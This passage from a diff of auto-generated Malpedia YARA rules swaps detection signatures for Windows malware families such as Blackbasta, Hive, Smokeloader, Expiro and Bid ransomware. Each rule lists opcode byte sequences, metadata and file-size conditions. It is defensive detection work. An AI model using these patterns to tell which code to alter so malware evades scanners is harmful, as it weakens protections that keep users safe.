8d85e0adffff 50 } + $sequence_8 = { 33db 3bfb 7469 8b771c 3bf3 7462 395f20 } + $sequence_9 = { 83f802 0f84ca000000 83f801 7567 3be8 750b 56 } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 327680 } -rule MALPEDIA_Win_Dragonbreath_Auto : FILE +rule MALPEDIA_Win_Blackbasta_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "dce0b381-95ab-5aa0-a119-0eedad899009" + id = "5bbce9ec-7d54-5002-bc1c-a1c1392e7297" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dragonbreath" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dragonbreath_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackbasta_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "f0cd4604abe67553fcedb3fe371f55dd5d5d8e023a81a960ca3c6bc06a72d951" + logic_hash = "f2cab8177edfb4bc6b2c56a6c1db15098f849335780d0e48121fe5285763e5dd" score = 75 quality = 75 tags = "FILE" @@ -85916,32 +85863,32 @@ rule MALPEDIA_Win_Dragonbreath_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83c410 eb14 8d8590fdffff 50 } - $sequence_1 = { 68???????? 8d4da8 51 e8???????? 8b7de4 } - $sequence_2 = { 8b5dd0 ebab c745e470820110 817de47c820110 7311 } - $sequence_3 = { 33db 8945c8 895dcc 895dd0 c745e80f000000 895de4 885dd4 } - $sequence_4 = { 2bcf b879787878 f7e9 c1fa07 8bf2 } - $sequence_5 = { 8dbd84fcffff 68ff010000 f3a5 8d8df5fdffff 6a00 51 } - $sequence_6 = { c1e006 8b0c8d80fb0110 8d440104 8020fe ff36 e8???????? 59 } - $sequence_7 = { e8???????? 85ff 7407 57 ff15???????? 8b8558fdffff 8b4df0 } - $sequence_8 = { 51 ff15???????? 46 3bb424dc110000 72e8 e9???????? } - $sequence_9 = { 8bd6 69d200a4d9fa 03ca b8b17c2195 f7e1 8bda c1eb15 } + $sequence_0 = { 7447 8d45d8 84d2 7402 8bc3 fe0430 eb33 } + $sequence_1 = { c745e4e48c0a10 8b4508 8bcf 8b7510 c745e004000000 dd00 8b450c } + $sequence_2 = { 42 895594 e9???????? 8b45ec c645fc0d 83f810 0f8293000000 } + $sequence_3 = { 52 8d5594 52 8b01 ff503c 50 8d8decfeffff } + $sequence_4 = { 83c404 807d6700 c645fc26 0f8481040000 8d45c4 33ff 50 } + $sequence_5 = { 83c404 8bce 50 e8???????? 83e3ef 895df0 c645fc0c } + $sequence_6 = { 8b4904 8b01 5d ff6048 2b49fc 83e970 e9???????? } + $sequence_7 = { 6af6 ff15???????? 8b049d58cc0c10 8b4dfc 897c0118 33c0 5f } + $sequence_8 = { e9???????? 397d34 7768 ffb564ffffff 8d4d0c e8???????? 8b4d8c } + $sequence_9 = { e8???????? 03c6 13d7 8b75e4 3bd6 7f7a 8b4dec } condition: - 7 of them and filesize < 295936 + 7 of them and filesize < 1758208 } -rule MALPEDIA_Win_Minipocket_Auto : FILE +rule MALPEDIA_Win_Toughprogress_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "4bfe3841-9649-5ffe-8c95-c50da79d5d8c" + id = "f7aead55-8a03-5bbf-af11-1841c77b5719" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.minipocket" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.minipocket_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.toughprogress" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.toughprogress_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "f99d6584928c86c24bca7d34fc6463d62a033b67ff2c46d0cd8c512898739c50" + logic_hash = "639d2f4f2de7d57a54ced0a82f1a1b4924ec9dac72884175b29f7cbb63a0d4bc" score = 75 quality = 75 tags = "FILE" @@ -85955,34 +85902,34 @@ rule MALPEDIA_Win_Minipocket_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83f83b 0f87ba000000 8b7df0 8bc7 } - $sequence_1 = { 488364242800 4533c9 488364242000 488bc8 458d4110 } - $sequence_2 = { 456bc021 4403c0 ffc7 8bc7 8a0417 84c0 75eb } - $sequence_3 = { 4c8d9c24d0020000 498b5b18 498b7b20 498be3 } - $sequence_4 = { c744245492469e5a ff15???????? 488bd8 4883f8ff 0f8412010000 488364243000 488d542450 } - $sequence_5 = { 410fb70449 6685c0 75ea 413bd3 7419 413bd2 } - $sequence_6 = { eb11 0fbec0 456bc021 4403c0 ffc7 8bc7 } - $sequence_7 = { 498b4010 4c8b00 eb30 410fb701 } - $sequence_8 = { 443bc5 7421 ffc1 4983c204 3bce 72ca 33c0 } - $sequence_9 = { 7474 ba68000000 488d4d80 e8???????? ba18000000 c7458068000000 488d4c2460 } + $sequence_0 = { 48b93448af150d8462e4 4801c8 4c89e1 ffd0 488b05???????? 48b93b8ce2c7a3ecddc7 488b0408 } + $sequence_1 = { ffd7 0f104508 0f104d18 0f105524 410f1154244c 410f114c2440 410f11442430 } + $sequence_2 = { 48b93f5d14dd8256b94f 488b0408 4c01e8 4c89f9 4889fa 4189e8 ffd0 } + $sequence_3 = { ffd0 898688000000 488d8e8c000000 488b05???????? 48bab6b1569bc6a2bb92 48033c10 ffd7 } + $sequence_4 = { bd05000000 8d42cf 49bee5819fecd253eebe 83f809 0f8364020000 49bfdd819fecd253eebe 0f1f440000 } + $sequence_5 = { 4989d3 4983e307 7420 4531d2 6690 420fbe3c11 66418938 } + $sequence_6 = { 56 4883ec20 4889ce 488b05???????? 48b90d1dc3fe89299d3f 48ba098af7fc2873d775 48031408 } + $sequence_7 = { 884101 440fb64202 4489c0 34e2 4420c0 4189c1 4180e1fa } + $sequence_8 = { 84c0 0f85b2030000 488b07 4c8b36 0fb64f08 baffffffff 41baffffffff } + $sequence_9 = { 4d89c6 4889d6 488b05???????? 49b89bc488db85ad3022 48baadb54d2cbea5f70f 4a8b0400 4801d0 } condition: - 7 of them and filesize < 34816 + 7 of them and filesize < 3117056 } -rule MALPEDIA_Win_Zeus_Mailsniffer_Auto : FILE +rule MALPEDIA_Win_Hive_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "fb336c30-936c-5161-8554-4fa39d727895" + id = "afed1177-c874-5c40-8ff0-eb8fbf356303" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeus_mailsniffer" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeus_mailsniffer_auto.yar#L1-L123" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hive" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hive_auto.yar#L1-L195" license_url = "N/A" - logic_hash = "b88fdb233f08271f4c82945f7e7e3b8d498570e4526ea1a19d24dcafd9d77060" + logic_hash = "2741699b9ca4dafd7c3cf41d98fd9bcda89c6f9e810164b470706ce97b3270bd" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -85994,32 +85941,44 @@ rule MALPEDIA_Win_Zeus_Mailsniffer_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 81ec1c020000 56 6a1c 58 8945f0 c745f4c89d2d01 8945f8 } - $sequence_1 = { 0f8486000000 6a10 58 e8???????? 8bf0 85f6 } - $sequence_2 = { e8???????? 83c40c 833e00 894608 897e0c 7421 } - $sequence_3 = { 8b4508 8b4dec c745f451000000 8908 83ff17 750f } - $sequence_4 = { e8???????? 57 68???????? 57 e8???????? 83c424 } - $sequence_5 = { 85c0 0f8498010000 8b45f4 8365c800 83c004 } - $sequence_6 = { 57 8d85ecfeffff 50 53 8d85b4faffff } - $sequence_7 = { ff15???????? ffb424f4040000 ff15???????? 8b8424cc040000 } - $sequence_8 = { 83c410 85ff 742c 8b462c ff7608 ff7628 85c0 } - $sequence_9 = { 743f 66833f00 7439 56 6a16 8d75e4 58 } + $sequence_0 = { 31c0 b91d000000 31d2 31db } + $sequence_1 = { 31c9 eb12 0fb6540c12 0fb63408 } + $sequence_2 = { 89c2 e8???????? b801000000 e8???????? } + $sequence_3 = { 31c9 31d2 31db 31f6 31ff eb09 } + $sequence_4 = { 31c0 31c9 31d2 bb01000000 beae000000 } + $sequence_5 = { 89d1 e8???????? b802000000 e8???????? } + $sequence_6 = { 81c4b0000000 c3 e8???????? 90 } + $sequence_7 = { 0fb6b40495000000 89d7 31f2 01c2 } + $sequence_8 = { 89d1 e8???????? b901000000 e8???????? } + $sequence_9 = { 0fb7442404 8b0c24 894c246a 668944246e 8b4c246a } + $sequence_10 = { 0fb7744c12 89d7 31f2 01ca } + $sequence_11 = { 31c9 31d2 bb04000000 beb8000000 } + $sequence_12 = { 01c1 83c101 83f90c 0f820fffffff } + $sequence_13 = { 89bc2478020000 81c438020000 c3 97 88442443 97 892c24 } + $sequence_14 = { 01c8 89c1 c1e91f ffc9 } + $sequence_15 = { 89bc2480000000 89b424c4000000 29ce 46 } + $sequence_16 = { 01c1 c1e106 0fb6c2 01c8 } + $sequence_17 = { 01c2 b8ffffff03 21c5 21c3 } + $sequence_18 = { 01c8 c1e006 400fb6cf 01c1 } + $sequence_19 = { 01c1 c1e106 400fb6d6 01ca } + $sequence_20 = { 01ca c1e206 0fb6c3 01d0 } + $sequence_21 = { 01c0 4000f8 0fb6c0 48898424b0000000 } condition: - 7 of them and filesize < 368640 + 7 of them and filesize < 7946240 } -rule MALPEDIA_Win_Bid_Ransomware_Auto : FILE +rule MALPEDIA_Win_Misfox_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ce47ce7f-14e1-59ae-ba57-79394ad6dc42" + id = "7c26cb13-6097-513e-b029-4599c7648809" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bid_ransomware_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.misfox" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.misfox_auto.yar#L1-L165" license_url = "N/A" - logic_hash = "f1877b67a4049109e0b2de66aad3ce4469b6223b173e84f5ebaf276fe703ce2d" + logic_hash = "d0174e7f68a85bf1ff57434ec100f8da7228de9ad77dd40f610066f3391b57bd" score = 75 quality = 75 tags = "FILE" @@ -86033,32 +85992,38 @@ rule MALPEDIA_Win_Bid_Ransomware_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8d45a4 50 6a00 6a00 68???????? 6a00 } - $sequence_1 = { 68???????? e8???????? 85c0 0f848d000000 8b7508 ff7508 } - $sequence_2 = { e8???????? 60 6a00 6a02 e8???????? 8bd8 c785d4fdffff2c020000 } - $sequence_3 = { e8???????? c9 c3 55 8bec 60 } - $sequence_4 = { e8???????? 83f800 7605 8945f4 eb02 ebc9 } - $sequence_5 = { ff759c e8???????? 8b45a8 0500040000 894590 6800010000 } - $sequence_6 = { 6a00 6a00 e8???????? 6a0f 50 } - $sequence_7 = { ff75f4 e8???????? ff75fc e8???????? ff05???????? ff75e4 e8???????? } - $sequence_8 = { e8???????? 8d85d4fdffff 50 53 e8???????? ebb4 53 } - $sequence_9 = { 6a00 8d00 50 e8???????? eb79 8b5814 66813b5c5c } + $sequence_0 = { 8d85f4ebffff 50 8b8528e5ffff 8b048550870110 } + $sequence_1 = { 8a0a 42 884dab 83f80b 0f877b020000 ff2485b4d30010 } + $sequence_2 = { 8947fc 894c9308 81fe00010000 7ccc } + $sequence_3 = { 85f6 75e8 8b5c2410 68???????? 8d8424e8000000 6a20 } + $sequence_4 = { 0f85a0000000 8b4c240c 8d542418 50 50 50 } + $sequence_5 = { 8b06 6a25 40 50 8d45d0 50 } + $sequence_6 = { 8d8c24a4000000 c784245003000000000000 e8???????? 8d4c246c } + $sequence_7 = { 8b4708 8d5704 8902 8b45b8 52 c70300000000 40 } + $sequence_8 = { ff15???????? 483305???????? 488d15cabc0000 488bcb } + $sequence_9 = { 442bc8 b8b1f98cb3 41f7e9 b8b1f98cb3 458d0411 41c1f80a } + $sequence_10 = { 4c897c2438 8b442440 89442430 4c897c2428 4c897c2420 4533c9 } + $sequence_11 = { 4889442450 e8???????? 488d053cf90000 488d15b56c0100 } + $sequence_12 = { 7526 4c8d3505500100 493bde 7408 } + $sequence_13 = { 803c3000 75f7 4c8bc6 488d542438 498bce e8???????? 498bc6 } + $sequence_14 = { 0f114580 f20f100d???????? f20f114d90 8b05???????? 894598 } + $sequence_15 = { e9???????? 4c8d25af510100 8bee 41bf01000000 } condition: - 7 of them and filesize < 57344 + 7 of them and filesize < 266240 } -rule MALPEDIA_Win_Longwatch_Auto : FILE +rule MALPEDIA_Win_Flashflood_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "ce0e9c11-46ca-5532-8823-1deb885f5c74" + id = "d9f5526b-ab62-532b-9666-be6697f92fbf" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.longwatch" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.longwatch_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flashflood" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.flashflood_auto.yar#L1-L121" license_url = "N/A" - logic_hash = "9dae6296ff953841361d58c7b1fa7eff6214a00cb7112d7c5966dd21deae5ffb" + logic_hash = "446473d1c32fe4cdbf702296b6f8adbdf5ae7aa855f826a53c94075ec6207623" score = 75 quality = 75 tags = "FILE" @@ -86072,32 +86037,32 @@ rule MALPEDIA_Win_Longwatch_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83fb12 741e 83fb03 7419 } - $sequence_1 = { 8b4004 c74410e8a0bb4200 8b42e8 8b4804 8d41e8 894411e4 } - $sequence_2 = { 750b 8b0d???????? e8???????? e8???????? 83ec18 } - $sequence_3 = { 8d8d48ffffff 68???????? e8???????? 85c0 8d8d30ffffff 8b8530ffffff } - $sequence_4 = { 33f6 3bc8 740c 8b0cb5f8344200 46 } - $sequence_5 = { e8???????? 83ec14 c645fc02 8bcc 8bd0 51 } - $sequence_6 = { c705????????01000000 c705????????01000000 6a04 58 6bc000 8b4d08 898894004300 } - $sequence_7 = { eb0f 8ad3 8d8d40ffffff e8???????? 8ad3 } - $sequence_8 = { 1bc0 83c801 85c0 745b e8???????? } - $sequence_9 = { 8d8d48ffffff c78548ffffffdc334200 e8???????? 83ec08 c745fc02000000 } + $sequence_0 = { ff15???????? eb0c ff7508 ff75fc ff15???????? 3975fc 5e } + $sequence_1 = { 8b45ec 52 8d55f8 52 8b08 6a10 } + $sequence_2 = { 8b5508 8b427c 6bc00c 33c9 668b88ec914000 8b5508 } + $sequence_3 = { c21000 b8???????? c3 33c9 394c2408 7e0f } + $sequence_4 = { 8b45f4 25ffff0000 33c9 8a88b0984000 894de8 eb17 8b55f4 } + $sequence_5 = { 8d853cf9ffff 50 ff15???????? 83c420 } + $sequence_6 = { 33c0 eb0a 57 ff15???????? 6a01 58 5f } + $sequence_7 = { 6a01 57 e8???????? 6a01 e8???????? } + $sequence_8 = { 50 e8???????? ff45fc 83c610 } + $sequence_9 = { 8a0406 8ad0 c0ea04 c0e004 02d0 } condition: - 7 of them and filesize < 647168 + 7 of them and filesize < 114688 } -rule MALPEDIA_Win_Broler_Auto : FILE +rule MALPEDIA_Win_Expiro_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1cf91de0-5126-5e8f-b11c-1d3db3402e61" + id = "6fa4b0d5-e65d-5709-9429-c535e22a563a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.broler" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.broler_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.expiro" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.expiro_auto.yar#L1-L129" license_url = "N/A" - logic_hash = "fcd117231e6be08bdf633689556086666ed79e35ac782c6838a07603ffb215e5" + logic_hash = "e9646f75b21b41c42f31fadf4efd1887628909c4616d1866a9062fcf7c528d57" score = 75 quality = 75 tags = "FILE" @@ -86111,32 +86076,32 @@ rule MALPEDIA_Win_Broler_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 51 6a01 53 ff15???????? 8bf0 ff15???????? 3bf3 } - $sequence_1 = { 68e9fd0000 ff15???????? 8bc6 c6043e00 8d5001 } - $sequence_2 = { c785c0feffff0f000000 899dbcfeffff 889dacfeffff 39b5a4feffff } - $sequence_3 = { 8bf0 8d45d4 3bc6 7461 837de810 720c 8b4dd4 } - $sequence_4 = { 57 8d8da8feffff e8???????? 83c408 33c0 8a4c05f0 8888f8cd4100 } - $sequence_5 = { 8b3d???????? 53 ffd7 56 ffd7 8d8d70fdffff } - $sequence_6 = { b8???????? 8db554ffffff c78568ffffff0f000000 e8???????? 8d8570ffffff } - $sequence_7 = { 8bdf c1fb18 c1f818 81e3ff000000 3283085a4100 8b5d0c } - $sequence_8 = { 3299085a4100 c1fe08 81e6ff000000 8bca c1f908 88580d } - $sequence_9 = { 83fb10 7305 8d5508 8bca 2bc6 83e819 50 } + $sequence_0 = { 52 e8???????? 83c404 385c2413 0f85ddfdffff b8???????? 8d4c2414 } + $sequence_1 = { 02abd9737373 739b 057d737313 7173 7373 7373 } + $sequence_2 = { 8d7558 c684244802000002 33c0 c7461407000000 895e10 668906 } + $sequence_3 = { 367bf8 337ffa 36871b 49 16 62639b } + $sequence_4 = { 56 6a00 6a00 ff15???????? b932000000 8bc3 33ed } + $sequence_5 = { 8b06 33d2 5f 668910 8bc6 5b c20800 } + $sequence_6 = { 668906 57 83c8ff 8bd6 e8???????? 897c2420 } + $sequence_7 = { 8b4c241c 33cc b001 e8???????? 83c420 c3 6aff } + $sequence_8 = { 50 8d7c247c c68424f802000003 e8???????? 83c404 c68424f402000002 837c243808 } + $sequence_9 = { 83c8ff b9???????? 8d542450 89742464 897c2460 e8???????? } condition: - 7 of them and filesize < 275456 + 7 of them and filesize < 3776512 } -rule MALPEDIA_Win_Client_Maximus_Auto : FILE +rule MALPEDIA_Win_Grager_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "38a249dd-6d8f-54ce-920d-61d566c5cc15" + id = "a70321f6-0139-51d8-af48-e9ddd6504bcd" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.client_maximus" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.client_maximus_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grager" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grager_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "5ff2445dece4914e3eb7fbfccded1318ff7646d3eb9b7b22684fe253e9bf4e40" + logic_hash = "d7bfc13c167a32046dd8425d3e3ec521c6bca90fe7d99db8d3d9dc97a5192526" score = 75 quality = 75 tags = "FILE" @@ -86150,34 +86115,34 @@ rule MALPEDIA_Win_Client_Maximus_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 89542404 ff532c 8b5308 83c601 39730c } - $sequence_1 = { 8b4304 85c0 741d 8b5330 c744240800800000 c744240400000000 890424 } - $sequence_2 = { 890424 8954240c ff5320 ff15???????? 895c2408 } - $sequence_3 = { c70424???????? ffd0 a1???????? 85c0 7438 } - $sequence_4 = { e8???????? 8b4304 85c0 741d 8b5330 c744240800800000 c744240400000000 } - $sequence_5 = { 85c0 741d 8b5330 c744240800800000 } - $sequence_6 = { 7410 8b5330 890424 89542404 ff532c 8b5308 } - $sequence_7 = { 89c2 85d2 7409 c70424???????? ffd2 8d65f8 } - $sequence_8 = { 8b4628 85c0 7535 c70424???????? } - $sequence_9 = { 85c0 741d 8b5330 c744240800800000 c744240400000000 890424 } + $sequence_0 = { 48898534020000 4c8bc7 89853c020000 8b83d0200000 898520020000 c7852402000004000010 } + $sequence_1 = { 4c8d35a5e6ffff 0f1f440000 84c9 0f84d1010000 48ffc7 } + $sequence_2 = { bb01000000 e9???????? 8b4a08 33db 488bbfc8050000 81c113fcffff 488b7218 } + $sequence_3 = { 48890b 488d5308 488d4808 0f1102 e8???????? 488d058cdb0100 } + $sequence_4 = { 0fb605???????? 88814e050000 33c0 89814f050000 888153050000 33ff 4889b958050000 } + $sequence_5 = { 488bf9 488d1584a10100 b904000000 e8???????? 8bd3 488bcf } + $sequence_6 = { 4c8d0d45c80000 f20f101d???????? f20f100d???????? f20f59da } + $sequence_7 = { 4c8bc3 8d040e 488d8d44030000 898540030000 e8???????? 488d0dd61bfeff } + $sequence_8 = { 5d c3 8bc7 4883c470 415f 415e 415c } + $sequence_9 = { 4883ec20 8bd9 4c8d0d21eb0000 b904000000 4c8d050deb0000 488d1586c20000 e8???????? } condition: - 7 of them and filesize < 106496 + 7 of them and filesize < 487424 } -rule MALPEDIA_Win_Quickmute_Auto : FILE +rule MALPEDIA_Win_Smokeloader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "82702de0-3ec3-5174-97b3-ecd07741028d" + id = "112e04c3-8f0e-5c11-855c-ae74057a323a" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quickmute" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quickmute_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smokeloader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.smokeloader_auto.yar#L1-L575" license_url = "N/A" - logic_hash = "a1fe14ff6e270ce43f084b7c17d9cfec20868bf0fcb227ce38e0547341f7d58e" + logic_hash = "527784088a3890e68087680c97defe31324facf44f4c2545f19c39a5e952f5fd" score = 75 - quality = 75 + quality = 44 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -86189,32 +86154,87 @@ rule MALPEDIA_Win_Quickmute_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c78550ffffff7265616c c78554ffffff6c6f6300 391d???????? 750f 8d8550ffffff 50 } - $sequence_1 = { 6a00 52 ff15???????? 83c40c 6a10 8d45ec 6a00 } - $sequence_2 = { 8b75fc 85f6 740c 56 } - $sequence_3 = { 0f8410020000 837dec00 755e 837df000 7558 837df400 } - $sequence_4 = { ffd7 a3???????? 833d????????00 c68560ffffff47 889d61ffffff c78562ffffff74537461 c78566ffffff72747570 } - $sequence_5 = { 8b7508 c7465ca89b4000 83660800 33ff 47 897e14 } - $sequence_6 = { 8d45b4 50 56 ffd7 a3???????? 833d????????00 } - $sequence_7 = { 8d7c2410 e8???????? 803d????????00 756b } - $sequence_8 = { 66c7855affffff656e 889d5cffffff c7855dffffff69616c73 c68561ffffff00 750f 8d954cffffff 52 } - $sequence_9 = { 6a0d 58 5d c3 8b04cd74c14000 5d c3 } + $sequence_0 = { ff15???????? 8d45f0 50 8d45e8 50 8d45e0 50 } + $sequence_1 = { 50 6a00 53 ff15???????? 8d45f0 50 } + $sequence_2 = { ff15???????? 8bf0 8d45dc 50 6a00 53 } + $sequence_3 = { 57 ff15???????? 6a00 6800000002 6a03 } + $sequence_4 = { 50 8d45e0 50 56 ff15???????? 56 ff15???????? } + $sequence_5 = { 740a 83c104 83f920 72f0 } + $sequence_6 = { e8???????? 8bf0 8d45fc 50 ff75fc 56 6a19 } + $sequence_7 = { 0fb64405dc 50 8d45ec 50 } + $sequence_8 = { 50 56 681f000f00 57 } + $sequence_9 = { ff15???????? bf90010000 8bcf e8???????? } + $sequence_10 = { 56 8d45fc 50 57 57 6a19 ff75f8 } + $sequence_11 = { 6800a00f00 50 a3???????? ff15???????? } + $sequence_12 = { 7507 33c0 e9???????? e8???????? b904010000 } + $sequence_13 = { 668ce8 6685c0 7406 fe05???????? } + $sequence_14 = { 56 ff15???????? 50 56 6a00 ff15???????? } + $sequence_15 = { 8b07 03c3 50 ff15???????? } + $sequence_16 = { 03c8 81e1ff000000 8a440c18 30042b 43 3b9c241c010000 } + $sequence_17 = { 8bc3 c745ec25303258 885df0 8945fc } + $sequence_18 = { ffb43108010000 8b84310c010000 03c7 50 8b843104010000 03c5 } + $sequence_19 = { 50 53 e8???????? 8d8decfdffff 8d95f0fdffff c70200000000 6800800000 } + $sequence_20 = { 8db5f8fdffff c60653 56 6a00 } + $sequence_21 = { 8985ecfdffff ffb5f0fdffff 50 53 } + $sequence_22 = { 8d85f0fdffff 8b750c 8b7d10 50 57 56 } + $sequence_23 = { 89c6 6804010000 56 57 } + $sequence_24 = { 31c0 66894603 8d8de8fdffff 50 50 } + $sequence_25 = { 50 50 50 51 50 50 56 } + $sequence_26 = { e8???????? 2500300038 005800 2500300038 } + $sequence_27 = { fc 5f 5e 5b } + $sequence_28 = { 89c6 89cf fc b280 31db a4 } + $sequence_29 = { 30d0 aa e2f3 7505 } + $sequence_30 = { 89e5 81ec5c060000 53 56 } + $sequence_31 = { 01c2 31c0 ac 01c2 } + $sequence_32 = { e8???????? 41b919000200 4533c0 4c8bf0 488d4540 } + $sequence_33 = { 4c8d4580 488b01 33d2 ff5060 } + $sequence_34 = { 48895c2418 48897c2420 89542410 55 488bec 4883ec60 488bf9 } + $sequence_35 = { 8b7b24 4c 01c7 668b0c4f 41 8b7b1c 4c } + $sequence_36 = { ac 01c2 85c0 75f0 } + $sequence_37 = { 4885c0 7428 80383c 7423 } + $sequence_38 = { 55 89e5 81ec54040000 53 } + $sequence_39 = { 4f 8d1c10 41 8b4b18 45 8b6320 4d } + $sequence_40 = { eb08 4863433c 8b7c1828 488bcb e8???????? 4863d7 498bcc } + $sequence_41 = { 4c 01c7 8b048f 4c } + $sequence_42 = { 8b6320 4d 01c4 ffc9 49 8d3c8c } + $sequence_43 = { 8b957cffffff 895164 6814318b23 8b45e4 50 } + $sequence_44 = { 895118 8b4584 8b4db8 89481c 8b5584 8b45b4 } + $sequence_45 = { 688dbdc13f 8b45e4 50 e8???????? 8945d8 8b4da0 } + $sequence_46 = { 56 57 007508 bbb84340c1 4a } + $sequence_47 = { 50 8b4dfc 51 e8???????? 85c0 7589 8b55fc } + $sequence_48 = { c1e002 03471c 8b0428 01e8 5e c3 } + $sequence_49 = { 56 89c2 8b453c 8b7c2878 } + $sequence_50 = { aa e2f3 7506 7404 } + $sequence_51 = { 894ddc c745e000000000 8b55e4 3b55dc 0f8327010000 c745e801000000 } + $sequence_52 = { 5b c9 c20800 55 89e5 83ec04 } + $sequence_53 = { 8945cc 8b4da0 8b55cc 895144 68d770a437 } + $sequence_54 = { 58 29c6 d1ee 037724 0fb7442efe c1e002 03471c } + $sequence_55 = { c1c108 3208 40 803800 75f5 31d1 } + $sequence_56 = { 6bc963 8b4508 33d2 f7f1 } + $sequence_57 = { 8946fc ad 85c0 75f3 c3 56 } + $sequence_58 = { 8b45e4 50 e8???????? 89459c 8b4da0 8b559c 895158 } + $sequence_59 = { 8b7c2878 01ef 8b7720 01ee 56 ad 01e8 } + $sequence_60 = { 5d 5d 2e3f 3438 } + $sequence_61 = { 9d d418 a1???????? 0da20e09d8 } + $sequence_62 = { b0b6 49 92 06 4e 55 } + $sequence_63 = { 00556c 9d d418 a9d61049d4 5c d6 2851d6 } + $sequence_64 = { 5d 5d 5d 5d 285b29 59 } condition: - 7 of them and filesize < 146432 + 7 of them and filesize < 245760 } -rule MALPEDIA_Win_Dadstache_Auto : FILE +rule MALPEDIA_Win_Xpertrat_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b2a62577-cb7e-5e21-91ce-710fa4e05555" + id = "a2a3325a-1f3d-5b66-85b8-5585a72bc5f8" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dadstache" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dadstache_auto.yar#L1-L167" + reference = 